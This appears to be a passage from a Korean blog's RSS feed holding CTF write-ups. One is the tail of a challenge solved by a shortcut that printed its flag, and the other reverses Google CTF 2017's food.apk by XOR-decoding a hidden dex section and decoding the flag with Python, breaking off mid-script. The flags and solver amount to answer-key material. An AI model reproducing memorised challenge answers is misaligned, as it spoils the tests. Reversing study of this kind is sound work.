    &lt;span style=&quot;color: rgb(226, 137, 100);&quot;&gt;print&lt;/span&gt; &lt;span style=&quot;color: rgb(101, 176, 66);&quot;&gt;'Starting httpd...'&lt;/span&gt;
    httpd.serve_forever()

&lt;span style=&quot;color: rgb(226, 137, 100);&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: rgb(155, 133, 157);&quot;&gt;__name__&lt;/span&gt; &lt;span style=&quot;color: rgb(226, 137, 100);&quot;&gt;==&lt;/span&gt; &lt;span style=&quot;color: rgb(101, 176, 66);&quot;&gt;&quot;__main__&quot;&lt;/span&gt;:
    &lt;span style=&quot;color: rgb(226, 137, 100);&quot;&gt;from&lt;/span&gt; sys &lt;span style=&quot;color: rgb(226, 137, 100);&quot;&gt;import&lt;/span&gt; argv

    &lt;span style=&quot;color: rgb(226, 137, 100);&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: rgb(218, 208, 133);&quot;&gt;len&lt;/span&gt;(argv) &lt;span style=&quot;color: rgb(226, 137, 100);&quot;&gt;==&lt;/span&gt; &lt;span style=&quot;color: rgb(51, 135, 204);&quot;&gt;2&lt;/span&gt;:
        run(&lt;span style=&quot;color: rgb(62, 135, 227);&quot;&gt;port&lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100);&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(155, 133, 157);&quot;&gt;int&lt;/span&gt;(argv[&lt;span style=&quot;color: rgb(51, 135, 204);&quot;&gt;1&lt;/span&gt;]))
    &lt;span style=&quot;color: rgb(226, 137, 100);&quot;&gt;else&lt;/span&gt;:
        run()&lt;/pre&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;그러자... 아스키 비행기가 나왔다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;# ./aart_client 127.0.0.1&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;_&amp;nbsp; &amp;nbsp; &amp;nbsp;_&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; /_|&amp;nbsp; &amp;nbsp;|_\&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;//||&amp;nbsp; &amp;nbsp;||\\&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; // ||&amp;nbsp; &amp;nbsp;|| \\&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;//&amp;nbsp; ||___||&amp;nbsp; \\&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; /&amp;nbsp; &amp;nbsp; &amp;nbsp;|&amp;nbsp; &amp;nbsp;|&amp;nbsp; &amp;nbsp; &amp;nbsp;\&amp;nbsp; &amp;nbsp; _&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;/&amp;nbsp; &amp;nbsp; __|&amp;nbsp; &amp;nbsp;|__&amp;nbsp; &amp;nbsp; \&amp;nbsp; /_\&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; / .--~&amp;nbsp; |&amp;nbsp; &amp;nbsp;|&amp;nbsp; ~--. \|&amp;nbsp; &amp;nbsp;|&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;/.~ __\&amp;nbsp; |&amp;nbsp; &amp;nbsp;|&amp;nbsp; /&amp;nbsp; &amp;nbsp;~.|&amp;nbsp; &amp;nbsp;|&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; .~&amp;nbsp; `=='\ |&amp;nbsp; &amp;nbsp;| /&amp;nbsp; &amp;nbsp;_.-'.&amp;nbsp; |&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp;/&amp;nbsp; /&amp;nbsp; &amp;nbsp; &amp;nbsp; \|&amp;nbsp; &amp;nbsp;|/ .-~&amp;nbsp; &amp;nbsp; _.-'&lt;/p&gt;&lt;p&gt;&amp;nbsp; |&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;+---+&amp;nbsp; \&amp;nbsp; _.-~&amp;nbsp; |&lt;/p&gt;&lt;p&gt;&amp;nbsp; `=----.____/&amp;nbsp; #&amp;nbsp; \____.----='&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp;[::::::::|&amp;nbsp; (_)&amp;nbsp; |::::::::]&lt;/p&gt;&lt;p&gt;&amp;nbsp; .=----~~~~~\&amp;nbsp; &amp;nbsp; &amp;nbsp;/~~~~~----=.&lt;/p&gt;&lt;p&gt;&amp;nbsp; |&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; /`---'\&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; |&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp;\&amp;nbsp; \&amp;nbsp; &amp;nbsp; &amp;nbsp;/&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;\&amp;nbsp; &amp;nbsp; &amp;nbsp;/&amp;nbsp; /&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; `.&amp;nbsp; &amp;nbsp; &amp;nbsp;/&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;\&amp;nbsp; &amp;nbsp; &amp;nbsp;.'&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; `.&amp;nbsp; /._________.\&amp;nbsp; .'&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; `--._________.--'&lt;/p&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;그리고...몇번 더 실행해보니 플래그가 나왔다 -_-;;;;;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;# ./aart_client 127.0.0.1&lt;/b&gt;&lt;/p&gt;&lt;p&gt;CTF{That-was-a-lot-of-monkey-foot-work?-Good-Job!}&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;다른 풀이를 찾아보니 이건 꼼수고.. 제대로 된 풀이는 protobuf 프로토콜을 분석해서 flag 헥스값을 디코딩해서 키를 추출하는 식이었다. 어쨌든 풀었으니 이건 다음에 -_-;&lt;/p&gt;</description>
      <category>CTF Writeup</category>
      <author>hyunmini</author>
      <guid isPermaLink="true">https://hyunmini.tistory.com/126</guid>
      <comments>https://hyunmini.tistory.com/126#entry126comment</comments>
      <pubDate>Wed, 18 Apr 2018 10:23:18 +0900</pubDate>
    </item>
    <item>
      <title>google ctf 2017 - food.apk Writeup</title>
      <link>https://hyunmini.tistory.com/125</link>
      <description>&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-size: 18pt;&quot;&gt;Google CTF 2017 - Fook.apk&amp;nbsp; &amp;nbsp;Writeup&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;끝난지 좀 됐지만 공부겸 google ctf 2017 의 문제중 안드로이드 문제인 food.apk 를 풀어봤다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;주어진 apk 는 정상 실행이 안되어서 정적 분석을 먼저 해 보았는데, 실행되고 바로 libcook.so 라이브러리를 호출해 주고 있었고 별다른 코드가&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;보이지 않았다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;so 파일을 들여다 보면 아래와 같이 dex 파일을 새롭게 생성해 주는 것을 볼 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 684px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9991003D5ACC649328&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9991003D5ACC649328&quot; width=&quot;684&quot; height=&quot;281&quot; filename=&quot;1.PNG&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 547px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9907733D5ACC649406&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9907733D5ACC649406&quot; width=&quot;547&quot; height=&quot;281&quot; filename=&quot;2.PNG&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 612px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9949E53D5ACC649417&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9949E53D5ACC649417&quot; width=&quot;612&quot; height=&quot;409&quot; filename=&quot;3.PNG&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;하지만 해당 파일을 바이너리에서 복사해서 붙여넣고 디컴파일을 시도하면 가장 중요한 함수인 cc() 함수가 제대로 보이지 않는다.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;so 를 다시 살펴보면 마지막 부분에서 아래와 같이 특정 부분을 xor 해주는 것을 볼 수 있다.(0x720 오프셋 부터&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;0x90 byte)&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 830px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9984703D5ACC64942A&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9984703D5ACC64942A&quot; width=&quot;830&quot; height=&quot;658&quot; filename=&quot;4.PNG&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;해당 바이트를 가져와서 0x5a 로 xor 해서 원본 코드를 확인해 보자. python 으로 간단히 만들어 줬다.&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 900px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99FF623D5ACC649535&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99FF623D5ACC649535&quot; width=&quot;900&quot; height=&quot;316&quot; filename=&quot;5_0.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 657px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99203C3D5ACC649604&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99203C3D5ACC649604&quot; width=&quot;657&quot; height=&quot;145&quot; filename=&quot;5_1.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;그 후 뽑아냈던 dex 파일의 0E 로 채워진 부분들(0x720 오프셋) 을 위에서 xor 한 값으로 채워주고 다시 디컴파일을 해 보면 정상적으로 cc() 함수가 보인다.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 661px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/992F333D5ACC64961A&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F992F333D5ACC64961A&quot; width=&quot;661&quot; height=&quot;346&quot; filename=&quot;5_2.PNG&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;cc() 함수. 어떤 입력값을 비교한 후 맞으면 flag 를 출력해준다. 굳이 실행시킬 필요없이 flag 출력함수인 R.C() 를 분석하기만 하면 flag 를 추출할 수 있다.&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 828px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99B6DC4A5ACC64972D&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99B6DC4A5ACC64972D&quot; width=&quot;828&quot; height=&quot;569&quot; filename=&quot;6.PNG&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;# R.C 인데..약간 복잡하긴 하지만 상관없다. 그대로 갖다 쓰면 되니까 ㅎ&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 887px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9936233D5ACC649630&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9936233D5ACC649630&quot; width=&quot;887&quot; height=&quot;835&quot; filename=&quot;7.PNG&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;라고 생각하고 파이썬으로 대강 작성한 후에 돌려봤더니 아래처럼 일부 플래그만 나오는 이상한 현상이 발생했다(ㅠㅠ)&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;�TF{�aco��l�ttu��_����to_l�bst��������&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;몇번의 삽질을 한 후 찾은 버그는 바로 자바 소스에서 (byte) 캐스트 때문에 char 형으로 강제 형변환이 되면서 발생한 문제였다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;파이썬과 약간 처리 방식이 다른듯 했다. 결국 % 256 연산을 통해 음수가 나오지 않도록 해주니 제대로 나왔다. 아래는 전체 python 소스이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;# solve_food2.py&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;pre style=&quot;margin-top: 0px; margin-bottom: 0px; padding: 4px; font-variant-numeric: normal; font-variant-east-asian: normal; font-stretch: normal; font-size: 0.9333em; line-height: 1.5em; font-family: Consolas, &amp;quot;Lucida Console&amp;quot;, &amp;quot;DejaVu Sans Mono&amp;quot;, Monaco, &amp;quot;Courier New&amp;quot;, monospace; background: rgb(0, 0, 0); color: rgb(248, 248, 248);&quot;&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;print&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(101, 176, 66); font-size: 14pt;&quot;&gt;&quot;[*] google ctf 2017 : food.apk &quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;

&lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;print&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(101, 176, 66); font-size: 14pt;&quot;&gt;&quot;[*] get this.k array..&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;

flag &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; [ &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;19&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;116&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;58&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;108&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;33&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;9&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;61&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;61&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;37&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;108&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;123&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;35&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;97&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;15&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;15&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 